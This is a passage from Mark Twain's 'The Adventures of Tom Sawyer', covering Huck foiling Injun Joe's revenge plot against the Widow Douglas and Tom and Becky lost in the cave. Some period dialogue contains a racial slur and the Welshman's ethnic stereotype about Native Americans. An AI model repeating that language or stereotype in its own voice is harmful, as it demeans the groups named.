of the craft. + +Huck was already upon his watch when the ferry- +boat's lights went glinting past the wharf. He heard +no noise on board, for the young people were as sub- +dued and still as people usually are who are nearly +tired to death. He wondered what boat it was, and +why she did not stop at the wharf -- and then he dropped +her out of his mind and put his attention upon his +business. The night was growing cloudy and dark. +Ten o'clock came, and the noise of vehicles ceased, +scattered lights began to wink out, all straggling foot- +passengers disappeared, the village betook itself to +its slumbers and left the small watcher alone with the +silence and the ghosts. Eleven o'clock came, and the +tavern lights were put out; darkness everywhere, now. +Huck waited what seemed a weary long time, but noth- +ing happened. His faith was weakening. Was there +any use? Was there really any use? Why not give +it up and turn in? + +A noise fell upon his ear. He was all attention in +an instant. The alley door closed softly. He sprang +to the corner of the brick store. The next moment +two men brushed by him, and one seemed to have +something under his arm. It must be that box! So +they were going to remove the treasure. Why call +Tom now? It would be absurd -- the men would get +away with the box and never be found again. No, he +would stick to their wake and follow them; he would +trust to the darkness for security from discovery. So +communing with himself, Huck stepped out and glided +along behind the men, cat-like, with bare feet, allowing +them to keep just far enough ahead not to be invisible. + +They moved up the river street three blocks, then +turned to the left up a cross-street. They went straight +ahead, then, until they came to the path that led up +Cardiff Hill; this they took. They passed by the old +Welshman's house, half-way up the hill, without hesi- +tating, and still climbed upward. Good, thought Huck, +they will bury it in the old quarry. But they never +stopped at the quarry. They passed on, up the sum- +mit. They plunged into the narrow path between the +tall sumach bushes, and were at once hidden in the +gloom. Huck closed up and shortened his distance, +now, for they would never be able to see him. He +trotted along awhile; then slackened his pace, fearing +he was gaining too fast; moved on a piece, then stopped +altogether; listened; no sound; none, save that he +seemed to hear the beating of his own heart. The +hooting of an owl came over the hill -- ominous sound! +But no footsteps. Heavens, was everything lost! He +was about to spring with winged feet, when a man +cleared his throat not four feet from him! Huck's +heart shot into his throat, but he swallowed it again; +and then he stood there shaking as if a dozen agues +had taken charge of him at once, and so weak that he +thought he must surely fall to the ground. He knew +where he was. He knew he was within five steps of +the stile leading into Widow Douglas' grounds. Very +well, he thought, let them bury it there; it won't be +hard to find. + +Now there was a voice -- a very low voice -- Injun +Joe's: + +"Damn her, maybe she's got company -- there's +lights, late as it is." + +"I can't see any." + +This was that stranger's voice -- the stranger of the +haunted house. A deadly chill went to Huck's heart -- +this, then, was the "revenge" job! His thought was, +to fly. Then he remembered that the Widow Douglas +had been kind to him more than once, and maybe these +men were going to murder her. He wished he dared +venture to warn her; but he knew he didn't dare -- they +might come and catch him. He thought all this and +more in the moment that elapsed between the stranger's +remark and Injun Joe's next -- which was -- + +"Because the bush is in your way. Now -- this way +-- now you see, don't you?" + +"Yes. Well, there IS company there, I reckon. +Better give it up." + +"Give it up, and I just leaving this country forever! +Give it up and maybe never have another chance. I +tell you again, as I've told you before, I don't care +for her swag -- you may have it. But her husband +was rough on me -- many times he was rough on me +-- and mainly he was the justice of the peace that +jugged me for a vagrant. And that ain't all. It +ain't a millionth part of it! He had me HORSEWHIPPED! +-- horsewhipped in front of the jail, like a nigger! -- +with all the town looking on! HORSEWHIPPED! -- do +you understand? He took advantage of me and died. +But I'll take it out of HER." + +"Oh, don't kill her! Don't do that!" + +"Kill? Who said anything about killing? I would +kill HIM if he was here; but not her. When you want +to get revenge on a woman you don't kill her -- bosh! +you go for her looks. You slit her nostrils -- you notch +her ears like a sow!" + +"By God, that's --" + +"Keep your opinion to yourself! It will be safest +for you. I'll tie her to the bed. If she bleeds to +death, is that my fault? I'll not cry, if she does. My +friend, you'll help me in this thing -- for MY sake -- +that's why you're here -- I mightn't be able alone. If +you flinch, I'll kill you. Do you understand that? +And if I have to kill you, I'll kill her -- and then I +reckon nobody'll ever know much about who done +this business." + +"Well, if it's got to be done, let's get at it. The +quicker the better -- I'm all in a shiver." + +"Do it NOW? And company there? Look here -- +I'll get suspicious of you, first thing you know. No +-- we'll wait till the lights are out -- there's no hurry." + +Huck felt that a silence was going to ensue -- a +thing still more awful than any amount of murderous +talk; so he held his breath and stepped gingerly back; +planted his foot carefully and firmly, after balancing, +one-legged, in a precarious way and almost toppling +over, first on one side and then on the other. He +took another step back, with the same elaboration +and the same risks; then another and another, and +-- a twig snapped under his foot! His breath stopped +and he listened. There was no sound -- the stillness +was perfect. His gratitude was measureless. Now he +turned in his tracks, between the walls of sumach +bushes -- turned himself as carefully as if he were a +ship -- and then stepped quickly but cautiously along. +When he emerged at the quarry he felt secure, and so he +picked up his nimble heels and flew. Down, down he +sped, till he reached the Welshman's. He banged at +the door, and presently the heads of the old man and +his two stalwart sons were thrust from windows. + +"What's the row there? Who's banging? What +do you want?" + +"Let me in -- quick! I'll tell everything." + +"Why, who are you?" + +"Huckleberry Finn -- quick, let me in!" + +"Huckleberry Finn, indeed! It ain't a name to +open many doors, I judge! But let him in, lads, and +let's see what's the trouble." + +"Please don't ever tell I told you," were Huck's +first words when he got in. "Please don't -- I'd be +killed, sure -- but the widow's been good friends to +me sometimes, and I want to tell -- I WILL tell if you'll +promise you won't ever say it was me." + +"By George, he HAS got something to tell, or he +wouldn't act so!" exclaimed the old man; "out with +it and nobody here'll ever tell, lad." + +Three minutes later the old man and his sons, well +armed, were up the hill, and just entering the sumach +path on tiptoe, their weapons in their hands. Huck +accompanied them no further. He hid behind a great +bowlder and fell to listening. There was a lagging, +anxious silence, and then all of a sudden there was +an explosion of firearms and a cry. + +Huck waited for no particulars. He sprang away +and sped down the hill as fast as his legs could carry +him. + + +CHAPTER XXX + +AS the earliest suspicion of dawn appeared +on Sunday morning, Huck came groping +up the hill and rapped gently at the old +Welshman's door. The inmates were +asleep, but it was a sleep that was set on +a hair-trigger, on account of the exciting +episode of the night. A call came from a window: + +"Who's there!" + +Huck's scared voice answered in a low tone: + +"Please let me in! It's only Huck Finn!" + +"It's a name that can open this door night or day, +lad! -- and welcome!" + +These were strange words to the vagabond boy's +ears, and the pleasantest he had ever heard. He +could not recollect that the closing word had ever been +applied in his case before. The door was quickly +unlocked, and he entered. Huck was given a seat +and the old man and his brace of tall sons speedily +dressed themselves. + +"Now, my boy, I hope you're good and hungry, +because breakfast will be ready as soon as the sun's +up, and we'll have a piping hot one, too -- make your- +self easy about that! I and the boys hoped you'd +turn up and stop here last night." + +"I was awful scared," said Huck, "and I run. I +took out when the pistols went off, and I didn't stop +for three mile. I've come now becuz I wanted to know +about it, you know; and I come before daylight becuz +I didn't want to run across them devils, even if they +was dead." + +"Well, poor chap, you do look as if you'd had a +hard night of it -- but there's a bed here for you when +you've had your breakfast. No, they ain't dead, lad +-- we are sorry enough for that. You see we knew +right where to put our hands on them, by your de- +scription; so we crept along on tiptoe till we got +within fifteen feet of them -- dark as a cellar that sumach +path was -- and just then I found I was going to sneeze. +It was the meanest kind of luck! I tried to keep it +back, but no use -- 'twas bound to come, and it did +come! I was in the lead with my pistol raised, and +when the sneeze started those scoundrels a-rustling to +get out of the path, I sung out, 'Fire boys!' and blazed +away at the place where the rustling was. So did the +boys. But they were off in a jiffy, those villains, and +we after them, down through the woods. I judge we +never touched them. They fired a shot apiece as they +started, but their bullets whizzed by and didn't do us +any harm. As soon as we lost the sound of their feet +we quit chasing, and went down and stirred up the +constables. They got a posse together, and went off +to guard the river bank, and as soon as it is light the +sheriff and a gang are going to beat up the woods. My +boys will be with them presently. I wish we had +some sort of description of those rascals -- 'twould help +a good deal. But you couldn't see what they were +like, in the dark, lad, I suppose?" + +"Oh yes; I saw them down-town and follered +them." + +"Splendid! Describe them -- describe them, my +boy!" + +"One's the old deaf and dumb Spaniard that's ben +around here once or twice, and t'other's a mean-looking, +ragged --" + +"That's enough, lad, we know the men! Hap- +pened on them in the woods back of the widow's one +day, and they slunk away. Off with you, boys, and +tell the sheriff -- get your breakfast to-morrow morning!" + +The Welshman's sons departed at once. As they +were leaving the room Huck sprang up and exclaimed: + +"Oh, please don't tell ANYbody it was me that +blowed on them! Oh, please!" + +"All right if you say it, Huck, but you ought to +have the credit of what you did." + +"Oh no, no! Please don't tell!" + +When the young men were gone, the old Welshman +said: + +"They won't tell -- and I won't. But why don't +you want it known?" + +Huck would not explain, further than to say that +he already knew too much about one of those men +and would not have the man know that he knew any- +thing against him for the whole world -- he would be +killed for knowing it, sure. + +The old man promised secrecy once more, and +said: + +"How did you come to follow these fellows, lad? +Were they looking suspicious?" + +Huck was silent while he framed a duly cautious +reply. Then he said: + +"Well, you see, I'm a kind of a hard lot, -- least +everybody says so, and I don't see nothing agin it -- +and sometimes I can't sleep much, on account of think- +ing about it and sort of trying to strike out a new +way of doing. That was the way of it last night. I +couldn't sleep, and so I come along up-street 'bout +midnight, a-turning it all over, and when I got to that +old shackly brick store by the Temperance Tavern, +I backed up agin the wall to have another think. Well, +just then along comes these two chaps slipping along +close by me, with something under their arm, and I +reckoned they'd stole it. One was a-smoking, and +t'other one wanted a light; so they stopped right before +me and the cigars lit up their faces and I see that the +big one was the deaf and dumb Spaniard, by his white +whiskers and the patch on his eye, and t'other one +was a rusty, ragged-looking devil." + +"Could you see the rags by the light of the cigars?" + +This staggered Huck for a moment. Then he +said: + +"Well, I don't know -- but somehow it seems as if +I did." + +"Then they went on, and you --" + +"Follered 'em -- yes. That was it. I wanted to see +what was up -- they sneaked along so. I dogged 'em +to the widder's stile, and stood in the dark and heard +the ragged one beg for the widder, and the Spaniard +swear he'd spile her looks just as I told you and your +two --" + +"What! The DEAF AND DUMB man said all that!" + +Huck had made another terrible mistake! He was +trying his best to keep the old man from getting the +faintest hint of who the Spaniard might be, and yet +his tongue seemed determined to get him into trouble +in spite of all he could do. He made several efforts +to creep out of his scrape, but the old man's eye was +upon him and he made blunder after blunder. Pres- +ently the Welshman said: + +"My boy, don't be afraid of me. I wouldn't hurt +a hair of your head for all the world. No -- I'd pro- +tect you -- I'd protect you. This Spaniard is not deaf +and dumb; you've let that slip without intending it; +you can't cover that up now. You know something +about that Spaniard that you want to keep dark. +Now trust me -- tell me what it is, and trust me -- I +won't betray you." + +Huck looked into the old man's honest eyes a moment, +then bent over and whispered in his ear: + +"'Tain't a Spaniard -- it's Injun Joe!" + +The Welshman almost jumped out of his chair. In +a moment he said: + +"It's all plain enough, now. When you talked +about notching ears and slitting noses I judged that +that was your own embellishment, because white +men don't take that sort of revenge. But an Injun! +That's a different matter altogether." + +During breakfast the talk went on, and in the course +of it the old man said that the last thing which he and +his sons had done, before going to bed, was to get a +lantern and examine the stile and its vicinity for marks +of blood. They found none, but captured a bulky +bundle of -- + +"Of WHAT?" + +If the words had been lightning they could not +have leaped with a more stunning suddenness from +Huck's blanched lips. His eyes were staring wide, +now, and his breath suspended -- waiting for the answer. +The Welshman started -- stared in return -- three seconds +-- five seconds -- ten -- then replied: + +"Of burglar's tools. Why, what's the MATTER with +you?" + +Huck sank back, panting gently, but deeply, un- +utterably grateful. The Welshman eyed him gravely, +curiously -- and presently said: + +"Yes, burglar's tools. That appears to relieve +you a good deal. But what did give you that turn? +What were YOU expecting we'd found?" + +Huck was in a close place -- the inquiring eye was +upon him -- he would have given anything for material +for a plausible answer -- nothing suggested itself -- the +inquiring eye was boring deeper and deeper -- a sense- +less reply offered -- there was no time to weigh it, so +at a venture he uttered it -- feebly: + +"Sunday-school books, maybe." + +Poor Huck was too distressed to smile, but the old +man laughed loud and joyously, shook up the details +of his anatomy from head to foot, and ended by saying +that such a laugh was money in a-man's pocket, be- +cause it cut down the doctor's bill like everything. +Then he added: + +"Poor old chap, you're white and jaded -- you ain't +well a bit -- no wonder you're a little flighty and off +your balance. But you'll come out of it. Rest and +sleep will fetch you out all right, I hope." + +Huck was irritated to think he had been such a +goose and betrayed such a suspicious excitement, for +he had dropped the idea that the parcel brought from +the tavern was the treasure, as soon as he had heard +the talk at the widow's stile. He had only thought +it was not the treasure, however -- he had not known +that it wasn't -- and so the suggestion of a captured +bundle was too much for his self-possession. But on +the whole he felt glad the little episode had happened, +for now he knew beyond all question that that bundle +was not THE bundle, and so his mind was at rest and +exceedingly comfortable. In fact, everything seemed +to be drifting just in the right direction, now; the +treasure must be still in No. 2, the men would be +captured and jailed that day, and he and Tom could +seize the gold that night without any trouble or any +fear of interruption. + +Just as breakfast was completed there was a knock +at the door. Huck jumped for a hiding-place, for +he had no mind to be connected even remotely with +the late event. The Welshman admitted several +ladies and gentlemen, among them the Widow Douglas, +and noticed that groups of citizens were climbing up +the hill -- to stare at the stile. So the news had spread. +The Welshman had to tell the story of the night +to the visitors. The widow's gratitude for her preser- +vation was outspoken. + +"Don't say a word about it, madam. There's +another that you're more beholden to than you are +to me and my boys, maybe, but he don't allow me +to tell his name. We wouldn't have been there but +for him." + +Of course this excited a curiosity so vast that it +almost belittled the main matter -- but the Welshman +allowed it to eat into the vitals of his visitors, and +through them be transmitted to the whole town, for +he refused to part with his secret. When all else had +been learned, the widow said: + +"I went to sleep reading in bed and slept straight +through all that noise. Why didn't you come and +wake me?" + +"We judged it warn't worth while. Those fellows +warn't likely to come again -- they hadn't any tools +left to work with, and what was the use of waking +you up and scaring you to death? My three negro +men stood guard at your house all the rest of the night. +They've just come back." + +More visitors came, and the story had to be told +and retold for a couple of hours more. + +There was no Sabbath-school during day-school +vacation, but everybody was early at church. The +stirring event was well canvassed. News came that +not a sign of the two villains had been yet discovered. +When the sermon was finished, Judge Thatcher's +wife dropped alongside of Mrs. Harper as she moved +down the aisle with the crowd and said: + +"Is my Becky going to sleep all day? I just ex- +pected she would be tired to death." + +"Your Becky?" + +"Yes," with a startled look -- "didn't she stay with +you last night?" + +"Why, no." + +Mrs. Thatcher turned pale, and sank into a pew, +just as Aunt Polly, talking briskly with a friend, passed +by. Aunt Polly said: + +"Good-morning, Mrs. Thatcher. Good-morning, +Mrs. Harper. I've got a boy that's turned up missing. +I reckon my Tom stayed at your house last night -- +one of you. And now he's afraid to come to church. +I've got to settle with him." + +Mrs. Thatcher shook her head feebly and turned +paler than ever. + +"He didn't stay with us," said Mrs. Harper, be- +ginning to look uneasy. A marked anxiety came into +Aunt Polly's face. + +"Joe Harper, have you seen my Tom this morning?" + +"No'm." + +"When did you see him last?" + +Joe tried to remember, but was not sure he could +say. The people had stopped moving out of church. +Whispers passed along, and a boding uneasiness took +possession of every countenance. Children were anx- +iously questioned, and young teachers. They all said +they had not noticed whether Tom and Becky were on +board the ferryboat on the homeward trip; it was dark; +no one thought of inquiring if any one was missing. +One young man finally blurted out his fear that they +were still in the cave! Mrs. Thatcher swooned away. +Aunt Polly fell to crying and wringing her hands. + +The alarm swept from lip to lip, from group to +group, from street to street, and within five minutes +the bells were wildly clanging and the whole town was +up! The Cardiff Hill episode sank into instant in- +significance, the burglars were forgotten, horses were +saddled, skiffs were manned, the ferryboat ordered out, +and before the horror was half an hour old, two hundred +men were pouring down highroad and river toward the +cave. + +All the long afternoon the village seemed empty +and dead. Many women visited Aunt Polly and Mrs. +Thatcher and tried to comfort them. They cried +with them, too, and that was still better than words. +All the tedious night the town waited for news; but +when the morning dawned at last, all the word that +came was, "Send more candles -- and send food." Mrs. +Thatcher was almost crazed; and Aunt Polly, also. +Judge Thatcher sent messages of hope and encourage- +ment from the cave, but they conveyed no real cheer. + +The old Welshman came home toward daylight, +spattered with candle-grease, smeared with clay, and +almost worn out. He found Huck still in the bed +that had been provided for him, and delirious with +fever. The physicians were all at the cave, so the +Widow Douglas came and took charge of the patient. +She said she would do her best by him, because, whether +he was good, bad, or indifferent, he was the Lord's, +and nothing that was the Lord's was a thing to be +neglected. The Welshman said Huck had good spots +in him, and the widow said: + +"You can depend on it. That's the Lord's mark. +He don't leave it off. He never does. Puts it some- +where on every creature that comes from his hands." + +Early in the forenoon parties of jaded men began +to straggle into the village, but the strongest of the +citizens continued searching. All the news that could +be gained was that remotenesses of the cavern were +being ransacked that had never been visited before; +that every corner and crevice was going to be thoroughly +searched; that wherever one wandered through the +maze of passages, lights were to be seen flitting hither +and thither in the distance, and shoutings and pistol- +shots sent their hollow reverberations to the ear down +the sombre aisles. In one place, far from the section +usually traversed by tourists, the names "BECKY & +TOM" had been found traced upon the rocky wall +with candle-smoke, and near at hand a grease-soiled +bit of ribbon. Mrs. Thatcher recognized the ribbon +and cried over it. She said it was the last relic she +should ever have of her child; and that no other +memorial of her could ever be so precious, because +this one parted latest from the living body before the +awful death came. Some said that now and then, in +the cave, a far-away speck of light would glimmer, and +then a glorious shout would burst forth and a score of +men go trooping down the echoing aisle -- and then a +sickening disappointment always followed; the children +were not there; it was only a searcher's light. + +Three dreadful days and nights dragged their tedious +hours along, and the village sank into a hopeless +stupor. No one had heart for anything. The acci- +dental discovery, just made, that the proprietor of the +Temperance Tavern kept liquor on his premises, +scarcely fluttered the public pulse, tremendous as the +fact was. In a lucid interval, Huck feebly led up to +the subject of taverns, and finally asked -- dimly +dreading the worst -- if anything had been discovered +at the Temperance Tavern since he had been ill. + +"Yes," said the widow. + +Huck started up in bed, wild-eyed: + +"What? What was it?" + +"Liquor! -- and the place has been shut up. Lie +down, child -- what a turn you did give me!" + +"Only tell me just one thing -- only just one -- please! +Was it Tom Sawyer that found it?" + +The widow burst into tears. "Hush, hush, child, +hush! I've told you before, you must NOT talk. You +are very, very sick!" + +Then nothing but liquor had been found; there +would have been a great powwow if it had been the +gold. So the treasure was gone forever -- gone forever! +But what could she be crying about? Curious that +she should cry. + +These thoughts worked their dim way through Huck's +mind, and under the weariness they gave him he fell +asleep. The widow said to herself: + +"There -- he's asleep, poor wreck. Tom Sawyer +find it! Pity but somebody could find Tom Sawyer! +Ah, there ain't many left, now, that's got hope enough, +or strength enough, either, to go on searching." + + +CHAPTER XXXI + +NOW to return to Tom and Becky's share +in the picnic. They tripped along the +murky aisles with the rest of the com- +pany, visiting the familiar wonders of the +cave -- wonders dubbed with rather over- +descriptive names, such as "The Draw- +ing-Room," "The Cathedral," "Aladdin's Palace," and +so on. Presently the hide-and-seek frolicking began, +and Tom and Becky engaged in it with zeal until the +exertion began to grow a trifle wearisome; then they +wandered down a sinuous avenue holding their candles +aloft and reading the tangled web-work of names, +dates, post-office addresses, and mottoes with which +the rocky walls had been frescoed (in candle-smoke). +Still drifting along and talking, they scarcely noticed +that they were now in a part of the cave whose walls +were not frescoed. They smoked their own names +under an overhanging shelf and moved on. Presently +they came to a place where a little stream of water, +trickling over a ledge and carrying a limestone sediment +with it, had, in the slow-dragging ages, formed a laced +and ruffled Niagara in gleaming and imperishable stone. +Tom squeezed his small body behind it in order to +illuminate it for Becky's gratification. He found that +it curtained a sort of steep natural stairway which was +enclosed between narrow walls, and at once the ambi- +tion to be a discoverer seized him. Becky responded +to his call, and they made a smoke-mark for future +guidance, and started upon their quest. They wound +this way and that, far down into the secret depths of +the cave, made another mark, and branched off in +search of novelties to tell the upper world about. In +one place they found a spacious cavern, from whose +ceiling depended a multitude of shining stalactites of +the length and circumference of a man's leg; they +walked all about it, wondering and admiring, and +presently left it by one of the numerous passages that +opened into it. This shortly brought them to a be- +witching spring, whose basin was incrusted with a +frostwork of glittering crystals; it was in the midst of +a cavern whose walls were supported by many fan- +tastic pillars which had been formed by the joining +of great stalactites and stalagmites together, the result +of the ceaseless water-drip of centuries. Under the +roof vast knots of bats had packed themselves together, +thousands in a bunch; the lights disturbed the creat- +ures and they came flocking down by hundreds, +squeaking and darting furiously at the candles. Tom +knew their ways and the danger of this sort of conduct. +He seized Becky's hand and hurried her into the first +corridor that offered; and none too soon, for a bat +struck Becky's light out with its wing while she was +passing out of the cavern. The bats chased the children +a good distance; but the fugitives plunged into every +new passage that offered, and at last got rid of the +perilous things. Tom found a subterranean lake, +shortly, which stretched its dim length away until its +shape was lost in the shadows. He wanted to explore +its borders, but concluded that it would be best to sit +down and rest awhile, first. Now, for the first time, +the deep stillness of the place laid a clammy hand +upon the spirits of the children. Becky said: + +"Why, I didn't notice, but it seems ever so long since +I heard any of the others." + +"Come to think, Becky, we are away down below +them -- and I don't know how far away north, or south, +or east, or whichever it is. We couldn't hear them +here." + +Becky grew apprehensive. + +"I wonder how long we've been down here, Tom? +We better start back." + +"Yes, I reckon we better. P'raps we better." + +"Can you find the way, Tom? It's all a mixed-up +crookedness to me." + +"I reckon I could find it -- but then the bats. If +they put our candles out it will be an awful fix. Let's +try some other way, so as not to go through there." + +"Well. But I hope we won't get lost. It would +be so awful!" and the girl shuddered at the thought +of the dreadful possibilities. + +They started through a corridor, and traversed it +in silence a long way, glancing at each new opening, +to see if there was anything familiar about the look of +it; but they were all strange. Every time Tom made +an examination, Becky would watch his face for an +encouraging sign, and he would say cheerily: + +"Oh, it's all right. This ain't the one, but we'll +come to it right away!" + +But he felt less and less hopeful with each failure, +and presently began to turn off into diverging avenues +at sheer random, in desperate hope of finding the one +that was wanted. He still said it was "all right," +but there was such a leaden dread at his heart that the +words had lost their ring and sounded just as if he had +said, "All is lost!" Becky clung to his side in an +anguish of fear, and tried hard to keep back the tears, +but they would come. At last she said: + +"Oh, Tom, never mind the bats, let's go back that +way! We seem to get worse and worse off all the time." + +"Listen!" said he. + +Profound silence; silence so deep that even their +breathings were conspicuous in the hush. Tom shout- +ed. The call went echoing down the empty aisles and +died out in the distance in a faint sound that resembled +a ripple of mocking laughter. + +"Oh, don't do it again, Tom, it is too horrid," said +Becky. + +"It is horrid, but I better, Becky; they might hear +us, you know," and he shouted again. + +The "might" was even a chillier horror than the +ghostly laughter, it so confessed a perishing hope. +The children stood still and listened; but there was +no result. Tom turned upon the back track at once, +and hurried his steps. It was but a little while be- +fore a certain indecision in his manner revealed an- +other fearful fact to Becky -- he could not find his way +back! + +"Oh, Tom, you didn't make any marks!" + +"Becky, I was such a fool! Such a fool! I never +thought we might want to come back! No -- I can't +find the way. It's all mixed up." + +"Tom, Tom, we're lost! we're lost! We never can +get out of this awful place! Oh, why DID we ever leave +the others!" + +She sank to the ground and burst into such a frenzy +of crying that Tom was appalled with the idea that +she might die, or lose her reason. He sat down by +her and put his arms around her; she buried her face +in his bosom, she clung to him, she poured out her +terrors, her unavailing regrets, and the far echoes turned +them all to jeering laughter. Tom begged her to pluck +up hope again, and she said she could not. He fell +to blaming and abusing himself for getting her into +this miserable situation; this had a better effect. She +said she would try to hope again, she would get up and +follow wherever he might lead if only he would not +talk like that any more. For he was no more to blame +than she, she said. + +So they moved on again -- aimlessly -- simply at +random -- all they could do was to move, keep moving. +For a little while, hope made a show of reviving -- not +with any reason to back it, but only because it is its +nature to revive when the spring has not been taken +out of it by age and familiarity with failure. + +By-and-by Tom took Becky's candle and blew it +out. This economy meant so much! Words were +not needed. Becky understood, and her hope died +again. She knew that Tom had a whole candle and +three or four pieces in his pockets -- yet he must econ- +omize. + +By-and-by, fatigue began to assert its claims; the +children tried to pay attention, for it was dreadful +to think of sitting down when time was grown to be so +precious, moving, in some direction, in any direction, +was at least progress and might bear fruit; but to sit +down was to invite death and shorten its pursuit. + +At last Becky's frail limbs refused to carry her +farther. She sat down. Tom rested with her, and +they talked of home, and the friends there, and the +comfortable beds and, above all, the light! Becky +cried, and Tom tried to think of some way of comfort- +ing her, but all his encouragements were grown thread- +bare with use, and sounded like sarcasms. Fatigue +bore so heavily upon Becky that she drowsed off to +sleep. Tom was grateful. He sat looking into her +drawn face and saw it grow smooth and natural under +the influence of pleasant dreams; and by-and-by a +smile dawned and rested there. The peaceful face +reflected somewhat of peace and healing into his own +spirit, and his thoughts wandered away to bygone +times and dreamy memories. While he was deep in +his musings, Becky woke up with a breezy little laugh +-- but it was stricken dead upon her lips, and a groan +followed it. + +"Oh, how COULD I sleep! I wish I never, never +had waked! No! No, I don't, Tom! Don't look +so! I won't say it again." + +"I'm glad you've slept, Becky; you'll feel rested, +now, and we'll find the way out." + +"We can try, Tom; but I've seen such a beautiful +country in my dream. I reckon we are going there." + +"Maybe not, maybe not. Cheer up, Becky, and +let's go on trying." + +They rose up and wandered along, hand in hand +and hopeless. They tried to estimate how long they +had been in the cave, but all they knew was that it +seemed days and weeks, and yet it was plain that this +could not be, for their candles were not gone yet. A +long time after this -- they could not tell how long -- +Tom said they must go softly and listen for dripping +water -- they must find a spring. They found one +presently, and Tom said it was time to rest again. +Both were cruelly tired, yet Becky said she thought +she could go a little farther. She was surprised to +hear Tom dissent. She could not understand it. +They sat down, and Tom fastened his candle to the +wall in front of them with some clay. Thought was +soon busy; nothing was said for some time. Then +Becky broke the silence: + +"Tom, I am so hungry!" + +Tom took something out of his pocket. + +"Do you remember this?" said he. + +Becky almost smiled. + +"It's our wedding-cake, Tom." + +"Yes -- I wish it was as big as a barrel, for it's all +we've got." + +"I saved it from the picnic for us to dream on, +Tom, the way grown-up people do with wedding- +cake -- but it'll be our --" + +She dropped the sentence where it was. Tom +divided the cake and Becky ate with good appetite, +while Tom nibbled at his moiety. There was abun- +dance of cold water to finish the feast with. By-and-by +Becky suggested that they move on again. Tom was +silent a moment. Then he said: + +"Becky, can you bear it if I tell you something?" + +Becky's face paled, but she thought she could. + +"Well, then, Becky, we must stay here, where there's +water to drink. That little piece is our last candle!" + +Becky gave loose to tears and wailings. Tom did +what he could to comfort her, but with little effect. +At length Becky said: + +"Tom!" + +"Well, Becky?" + +"They'll miss us and hunt for us!" + +"Yes, they will! Certainly they will!" + +"Maybe they're hunting for us now, Tom." + +"Why, I reckon maybe they are. I hope they are." + +"When would they miss us, Tom?" + +"When they get back to the boat, I reckon." + +"Tom, it might be dark then -- would they notice +we hadn't come?" + +"I don't know. But anyway, your mother would +miss you as soon as they got home." + +A frightened look in Becky's face brought Tom to +his senses and he saw that he had made a blunder. +Becky was not to have gone home that night! The +children became silent and thoughtful. In a moment +a new burst of grief from Becky showed Tom that +the thing in his mind had struck hers also -- that the +Sabbath morning might be half spent before Mrs. +Thatcher discovered that Becky was not at Mrs. +Harper's. + +The children fastened their eyes upon their bit of +candle and watched it melt slowly and pitilessly away; +saw the half inch of wick stand alone at last; saw the +feeble flame rise and fall, climb the thin column of +smoke, linger at its top a moment, and then -- the +horror of utter darkness reigned! + +How long afterward it was that Becky came to a +slow consciousness that she was crying in Tom's arms, +neither could tell. All that they knew was, that after +what seemed a mighty stretch of time, both awoke +out of a dead stupor of sleep and resumed their miseries +once more. Tom said it might be Sunday, now -- +maybe Monday. He tried to get Becky to talk, but her +sorrows were too oppressive, all her hopes were gone. +Tom said that they must have been missed long ago, +and no doubt the search was going on. He would +shout and maybe some one would come. He tried +it; but in the darkness the distant echoes sounded so +hideously that he tried it no more. + +The hours wasted away, and hunger came to tor- +ment the captives again. A portion of Tom's half of +the cake was left; they divided and ate it. But they +seemed hungrier than before. The poor morsel of +food only whetted desire. + +By-and-by Tom said: + +"SH! Did you hear that?" + +Both held their breath and listened. There was a +sound like the faintest, far-off shout. Instantly Tom +answered it, and leading Becky by the hand, started +groping down the corridor in its direction. Presently +he listened again; again the sound was heard, and +apparently a little nearer. + +"It's them!" said Tom; "they're coming! Come +along, Becky -- we're all right now!" + +The joy of the prisoners was almost overwhelming. +Their speed was slow, however, because pitfalls were +somewhat common, and had to be guarded against. +They shortly came to one and had to stop. It might +be three feet deep, it might be a hundred -- there was no +passing it at any rate. Tom got down on his breast +and reached as far down as he could. No bottom. +They must stay there and wait until the searchers came. +They listened; evidently the distant shoutings were +growing more distant! a moment or two more and they +had gone altogether. The heart-sinking misery of +it! Tom whooped until he was hoarse, but it was of +no use. He talked hopefully to Becky; but an age +of anxious waiting passed and no sounds came again. + +The children groped their way back to the spring. +The weary time dragged on; they slept again, and +awoke famished and woe-stricken. Tom believed it +must be Tuesday by this time. + +Now an idea struck him. There were some side +passages near at hand. It would be better to explore +some of these than bear the weight of the heavy time in +idleness. He took a kite-line from his pocket, tied it +to a projection, and he and Becky started, Tom in the +lead, unwinding the line as he groped along. At the +end of twenty steps the corridor ended in a "jumping- +off place." Tom got down on his knees and felt below, +and then as far around the corner as he could reach +with his hands conveniently; he made an effort to +stretch yet a little farther to the right, and at that +moment, not twenty yards away, a human hand, +holding a candle, appeared from behind a rock! Tom +lifted up a glorious shout, and instantly that hand was +followed by the body it belonged to -- Injun Joe's! +Tom was paralyzed; he could not move. He was +vastly gratified the next moment, to see the "Spaniard" +take to his heels and get himself out of sight. Tom +wondered that Joe had not recognized his voice and +come over and killed him for testifying in court. But +the echoes must have disguised the voice. Without +doubt, that was it, he reasoned. Tom's fright weak- +ened every muscle in his body. He said to himself +that if he had strength enough to get back to the +spring he would stay there, and nothing should tempt +him to run the risk of meeting Injun Joe again. He +was careful to keep from Becky what it was he had +seen. He told her he had only shouted "for luck." + +But hunger and wretchedness rise superior to fears +in the long run. Another tedious wait at the spring +and another long sleep brought changes. The chil- +dren awoke tortured with a raging hunger. Tom +believed that it must be Wednesday or Thursday or +even Friday or Saturday, now, and that the search +had been given over. He proposed to explore another +passage. He felt willing to risk Injun Joe and all +other terrors. But Becky was very weak. She had +sunk into a dreary apathy and would not be roused. +She said she would wait, now, where she was, and die +-- it would not be long. She told Tom to go with the +kite-line and explore if he chose; but she implored him +to come back every little while and speak to her; and +she made him promise that when the awful time came, +he would stay by her and hold her hand until all was +over. + +Tom kissed her, with a choking sensation in his +throat, and made a show of being confident of finding +the searchers or an escape from the cave; then he +took the kite-line in his hand and went groping down +one of the passages on his hands and knees, distressed +with hunger and sick with bodings of coming doom. + + +CHAPTER XXXII + +TUESDAY afternoon came, and waned to +the twilight. The village of St. Peters- +burg still mourned. The lost children +had not been found. Public prayers +had been offered up for them, and many +and many a private prayer that had the +petitioner's whole heart in it; but still no good news +came from the cave. The majority of the searchers +had given up the quest and gone back to their daily +avocations, saying that it was plain the children could +never be found. Mrs. Thatcher was very ill, and a +great part of the time delirious. People said it was +heartbreaking to hear her call her child, and raise her +head and listen a whole minute at a time, then lay it +wearily down again with a moan. Aunt Polly had +drooped into a settled melancholy, and her gray hair +had grown almost white. The village went to its rest +on Tuesday night, sad and forlorn. + +Away in the middle of the night a wild peal burst +from the village bells, and in a moment the streets were +swarming 